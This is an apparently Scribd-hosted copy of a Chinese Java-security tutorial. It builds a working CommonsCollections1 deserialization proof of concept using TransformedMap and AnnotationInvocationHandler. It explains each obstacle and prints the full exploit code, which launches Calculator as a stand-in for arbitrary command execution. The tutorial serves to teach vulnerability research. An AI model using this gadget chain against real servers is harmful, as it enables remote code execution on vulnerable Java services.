0% found this document useful (0 votes)
61 views8 pages

Java安全漫谈 - 10.用TransformedMap编写真正的POC

This document discusses improving a proof-of-concept (POC) for exploiting a vulnerability in Apache Commons Collections' TransformedMap to make it a realistic exploit. It describes using the AnnotationInvocationHandler class to trigger the vulnerability during deserialization, but notes this only works on older Java versions as the class was updated in Java 8u71 to prevent this exploit. The full working POC is provided.

Uploaded by

chengugeself
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
61 views8 pages

Java安全漫谈 - 10.用TransformedMap编写真正的POC

This document discusses improving a proof-of-concept (POC) for exploiting a vulnerability in Apache Commons Collections' TransformedMap to make it a realistic exploit. It describes using the AnnotationInvocationHandler class to trigger the vulnerability during deserialization, but notes this only works on older Java versions as the class was updated in Java 8u71 to prevent this exploit. The full working POC is provided.

Uploaded by

chengugeself
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 8

Java安全漫谈 - 10.

用TransformedMap编写
真正的POC
这是代码审计知识星球中Java安全的第十篇文章。

上一篇文章我们了解了commons-collections中的Transformer,并且构造了一个巨简单的demo:

1 package org.vulhub.Ser;
2
3 import org.apache.commons.collections.Transformer;
4 import org.apache.commons.collections.functors.ChainedTransformer;
5 import org.apache.commons.collections.functors.ConstantTransformer;
6 import org.apache.commons.collections.functors.InvokerTransformer;
7 import org.apache.commons.collections.map.TransformedMap;
8
9 import java.util.HashMap;
10 import java.util.Map;
11
12 public class CommonCollections1 {
13 public static void main(String[] args) throws Exception {
14 Transformer[] transformers = new Transformer[]{
15 new ConstantTransformer(Runtime.getRuntime()),
16 new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
17 };
18
19 Transformer transformerChain = new ChainedTransformer(transformers);
20
21 Map innerMap = new HashMap();
22 Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
23 outerMap.put("test", "xxxx");
24 }
25 }

但是一个demo离一个真正可利用的POC还有很大的距离,所以我们需要着手对其进行修改。

AnnotationInvocationHandler
我们前面说过,触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素。在demo中,我们可
以手工执行 outerMap.put("test", "xxxx"); 来触发漏洞,但在实际反序列化时,我们需要找到一个
类,它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject


方法(这是8u71以前的代码,8u71以后做了一些修改,这个后面再说):

1 private void readObject(java.io.ObjectInputStream s)


2 throws java.io.IOException, ClassNotFoundException {
3 s.defaultReadObject();
4
5 // Check to make sure that types have not evolved incompatibly
6
7 AnnotationType annotationType = null;
8 try {
9 annotationType = AnnotationType.getInstance(type);
10 } catch(IllegalArgumentException e) {
11 // Class is no longer an annotation type; time to punch out
12 throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
13 }
14
15 Map<String, Class<?>> memberTypes = annotationType.memberTypes();
16
17 // If there are annotation members without values, that
18 // situation is handled by the invoke method.
19 for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
20 String name = memberValue.getKey();
21 Class<?> memberType = memberTypes.get(name);
22 if (memberType != null) { // i.e. member still exists
23 Object value = memberValue.getValue();
24 if (!(memberType.isInstance(value) ||
25 value instanceof ExceptionProxy)) {
26 memberValue.setValue(
27 new AnnotationTypeMismatchExceptionProxy(
28 value.getClass() + "[" + value + "]").setMember(
29 annotationType.members().get(name)));
30 }
31 }
32 }
33 }

核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet() 和


memberValue.setValue(...) 。

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它
的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的
Transform,进而执行我们为其精心设计的任意代码。

所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的
HashMap设置进来:

1 Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
2 Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
3 construct.setAccessible(true);
4 Object obj = construct.newInstance(Retention.class, outerMap);

这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使


用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化
了。

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是
参数就是前面构造的Map。

这里大家可以思考一下:什么是Annotation类?为什么我这里需要使用 Retention.class ?

为什么需要使用反射?
上一章我们构造了一个AnnotationInvocationHandler对象,它就是我们反序列化利用链的起点了。我
们通过如下代码将这个对象生成序列化流:

1 ByteArrayOutputStream barr = new ByteArrayOutputStream();


2 ObjectOutputStream oos = new ObjectOutputStream(barr);
3 oos.writeObject(obj);
4 oos.close();

我将这几段代码拼接到demo代码的后面,组成一个完整的POC。我们试着运行这个POC,看看能否生
成序列化数据流:

在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime 。

原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实
现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是
Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列
化。

那么,如何避免这个错误呢?我们可以变通一下,看过前面《Java安全漫谈 - 反射篇》的同学应该知
道,我们可以通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类:

1 Method f = Runtime.class.getMethod("getRuntime");
2 Runtime r = (Runtime) f.invoke(null);
3 r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

转换成Transformer的写法就是如下:
1 Transformer[] transformers = new Transformer[] {
2 new ConstantTransformer(Runtime.class),
3 new InvokerTransformer("getMethod", new Class[] { String.class,
4 Class[].class }, new
Object[] { "getRuntime",
5
new Class[0] }),
6 new InvokerTransformer("invoke", new Class[] { Object.class,
7 Object[].class }, new
Object[] { null, new Object[0] }),
8 new InvokerTransformer("exec", new Class[] { String.class },
9 new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
10 };

其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个


java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所
以可以被序列化。

为什么仍然无法触发漏洞?
修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列
化时仍然没弹出计算器,这是为什么呢?

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:
那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给
出两个条件:

1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

所以,这也解释了为什么我前面用到 Retention.class ,因为Retention有一个方法,名为value;所


以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:

1 innerMap.put("value", "xxxx");

为什么Java高版本无法利用?
再次修改POC,我们在本地进行测试,发现已经可以成功弹出计算器了:

但是,当你兴冲冲地拿着这串序列化流,跑到服务器上进行反序列化时就会发现,又无法成功执行命令
了。这又是为什么呢?
前文说了,我们是在Java 8u71以前的版本上进行测试的,在8u71以后大概是2015年12月的时候,Java
官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://h
g.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接
使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。

所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执
行set或put操作,也就不会触发RCE了。

总结
我们这一章将上一章给出的demo扩展成为了一个真实可利用的POC,完整代码如下:

1 package org.vulhub.Ser;
2
3 import org.apache.commons.collections.Transformer;
4 import org.apache.commons.collections.functors.ChainedTransformer;
5 import org.apache.commons.collections.functors.ConstantTransformer;
6 import org.apache.commons.collections.functors.InvokerTransformer;
7 import org.apache.commons.collections.map.TransformedMap;
8
9 import java.io.ByteArrayInputStream;
10 import java.io.ByteArrayOutputStream;
11 import java.io.ObjectInputStream;
12 import java.io.ObjectOutputStream;
13 import java.lang.annotation.Retention;
14 import java.lang.reflect.Constructor;
15 import java.lang.reflect.InvocationHandler;
16 import java.util.HashMap;
17 import java.util.Map;
18
19 public class CommonCollections1 {
20
21 public static void main(String[] args) throws Exception {
22 Transformer[] transformers = new Transformer[] {
23 new ConstantTransformer(Runtime.class),
24 new InvokerTransformer("getMethod", new Class[] {
String.class,
25 Class[].class }, new Object[] { "getRuntime",
26 new Class[0] }),
27 new InvokerTransformer("invoke", new Class[] { Object.class,
28 Object[].class }, new Object[] { null, new Object[0]
}),
29 new InvokerTransformer("exec", new Class[] { String.class },
30 new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
31 };
32
33 Transformer transformerChain = new ChainedTransformer(transformers);
34 Map innerMap = new HashMap();
35 innerMap.put("value", "xxxx");
36 Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
37
38 Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
39 Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
40 construct.setAccessible(true);
41 InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
42
43 ByteArrayOutputStream barr = new ByteArrayOutputStream();
44 ObjectOutputStream oos = new ObjectOutputStream(barr);
45 oos.writeObject(handler);
46 oos.close();
47
48 System.out.println(barr);
49 ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
50 Object o = (Object)ois.readObject();
51 }
52 }
53

但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于
sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用,原因前文也说
了。

我们查看ysoserial的代码,发现它没有用到我demo中的TransformedMap,而是改用了LazyMap。

有的同学包括我,之前以为这就是在解决CommonCollections1这个利用链在高版本Java中不可用的问
题,其实不然,即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在
sun.reflect.annotation.AnnotationInvocationHandler 这个类的修改上,不过本篇文章先不讲
了。

下一篇文章,再给大家分析如何破局。

参考链接:

http://scz.617.cn/network/202003241127.txt
https://kingx.me/commons-collections-java-deserialization.html
https://www.anquanke.com/post/id/82934

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy